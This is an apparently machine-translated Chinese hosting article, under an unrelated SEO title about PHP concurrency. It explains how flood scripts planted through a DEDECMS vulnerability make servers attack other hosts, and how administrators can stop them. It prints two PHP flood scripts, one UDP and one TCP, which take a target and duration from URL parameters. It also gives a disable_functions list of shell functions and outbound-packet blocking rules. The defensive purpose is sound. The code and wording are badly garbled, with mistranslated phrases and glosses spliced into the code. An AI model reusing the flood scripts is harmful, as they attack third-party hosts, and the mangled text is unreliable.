php并发问题,php 并发 解决方案

php并发问题,php 并发 解决方案,php对外发包引发服务器崩溃的终极解决方法分享[推荐]根据星外科技原有的ip策略,总结出DEDECMS php外包导致服务器崩溃的终极解决方案,希望能帮助客户解决服务器问题,让网站更好的运行

一、php对外发包分析

用php代码调用套接字,用服务器的网络直接攻击其他IP常见的代码如下:复制代码如下:$ packets=0;$ IP=$ _ GET[ IP ];$ rand=$ _ GET[ port ];set _ time _ limit(0);ignore _ user _ abort(FALSE);$ exec _ time=$ _ GET[ time ];$ time=time();print Flooded:$ IP on port $ rand ;$ max _ time=$ time $ exec _ timefor($ I=0;165535美元;$i ){ $out= X} while(1){ $ packets;if(time()$ max _ time){ break;} $fp=fsockopen(udp://$ip ,$rand,$errno,$errstr,5);if($fp){ fwrite($fp,$ out);fclose($ FP);} } echo“数据包完成时间”时间(h:i:s )用$packets(round(($packets*65)/1024,2)mB)数据包平均值round($packets/$exec_time,2)数据包/秒 n ;

二、表现特征

IIS一打开,服务器的出网带宽就用完了——也就是说,服务器不停的给别人发合同这种情况不同于被DDOS攻击,是指服务器不断接收大量数据包最近,由于DEDECMS的漏洞,大量服务器出现了此问题如何快速找到这些站?您可以打开日志c: windows system32 log files httperr httperr.日志,打开今天时间的文件,里面有这样一条记录:2011-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 http/1.1 get/xxxx/xxxxx

x.php?host=122.224.32.100 port=445 time=120 503 783 Disabled 30 _ free host _ 1最后三项783 Disabled 30_FreeHost_1 783是这个站在IIS中的ID 30_FreeHost_1,是它所在的池。

三、解决办法

1.如上找到这个网站后,停止它。或者停止池并重新启动IIS。2.在IP策略或防火墙中,最新版本的安全包中禁止向外界发送所有udp,该安全包的IP策略为4.0版【下载安全包】。导入后,您可以直接限制传出的UDP包。下载这个包,然后导入安全策略。但是这种策略并没有关闭DNS端口,有些攻击还是有效的。要解决这个问题,您还可以调整IP策略,将udp访问限制到特定的DNS服务器IP,如8.8.8.8。除非黑客攻击这个IP,否则攻击无效。可以在网卡DNS中设置一个自己刚刚知道的DNS IP,不要公开。然后调用udp开放部分的IP策略来解决。(打开IP策略的属性,双击open,在Open中删除两条udp记录中的任意一条。在保留的一个中,双击并将地址从源地址更改为目标地址的任意地址。具体IP这个IP设置成你自己的DNS IP,比如8.8.8 保存就好了。)在2011年4月27日,我们上传了一个新的安全包,其中包含一个文件‘星外虚拟主机管理平台的IP策略’来关闭所有的udp端口。ipsec。可以导入并启用,这样就可以关闭所有的UDP端口,完全可以防止这种攻击。但是,该策略关闭了DNS端口,将导致该服务器无法使用IE访问任何域名,因此,用户的收藏功能无法使用。(同样,如果在主控网站上使用这种策略,会导致受控自检失败,因为域名无法解析。另外,有用户反映这种策略导致的mysql不正常。)

3.用一流的信息监控。在SQL拦截和URL拦截中,拦截端口=这个关键字(其他关键字可以删除。) 4.也可以直接禁止上面的代码,比如改winphp.ini,重启IIS ignore_user_abort=On(注意前面的;要删除)disable _ functions=exec,system,passthru,popen,pclose,shell _ exec,proc _ open,curl _ exec,multi _ exec,DL,chmod,stream _ socket _ server,popepassthru,Pfsockopen,gzinflate,后面加上fsockopen,set_time_limit。但是这样会造成很多php程序不正常。另外,也说明你的服务器安全做得不错。如果能黑,黑客会直接要权。你为什么做DOS?

近期已有新的基于传输控制协议(传输控制协议)攻击的PHPDDOS代码如下:复制代码代码如下:set _ time _ limit(999999);$ host=$ _ GET[ host ];$ port=$ _ GET[ port ];$ exec _ time=$ _ GET[ time ];$ packets=64ignore_user_abort(真);if (StrLen($host)==0或StrLen($port)==0或StrLen($ exec _ time)==0){ if(StrLen($ _ GET[ rat ])0){ echo $ _ GET[ rat ].$_SERVER[HTTP_HOST].|.GetHostByName($_SERVER[服务器名称])。|.php_uname().|.$_SERVER[服务器软件].$ _ GET[ rat ];退出;}退出;} $ max _ time=time()$ exec _ time;while(1){ $ packets;if(time() $max_time或$exec_time!=69){ break;} $fp=fsockopen(tcp://$host ,$port,$errno,$errstr,0);} ?同样,可以采有以下解决办法: 1.也可以直接禁止上面的代码,如改winphp.ini后重启IIS ignore_user_abort=On(注意前面的;号要删除)disable_functions=exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,在后面加上fsockopen,设置时间限制但这样会造成很多服务器端编程语言(专业超文本预处理器的缩写)程序都不正常。2.在互联网协议(互联网协议)策略中禁止所有外访的传输控制协议(传输控制协议)数据包,但这样会造成的采集功能无效,也不能用在主控服务器上。 3.在服务器要用关键词tcp:或udp:搜索所有服务器端编程语言(专业超文本预处理器的缩写)类文件,找到攻击文件,删除它。

以上方法供vps,服务器托管用户学习!

php并发问题,php 并发 解决方案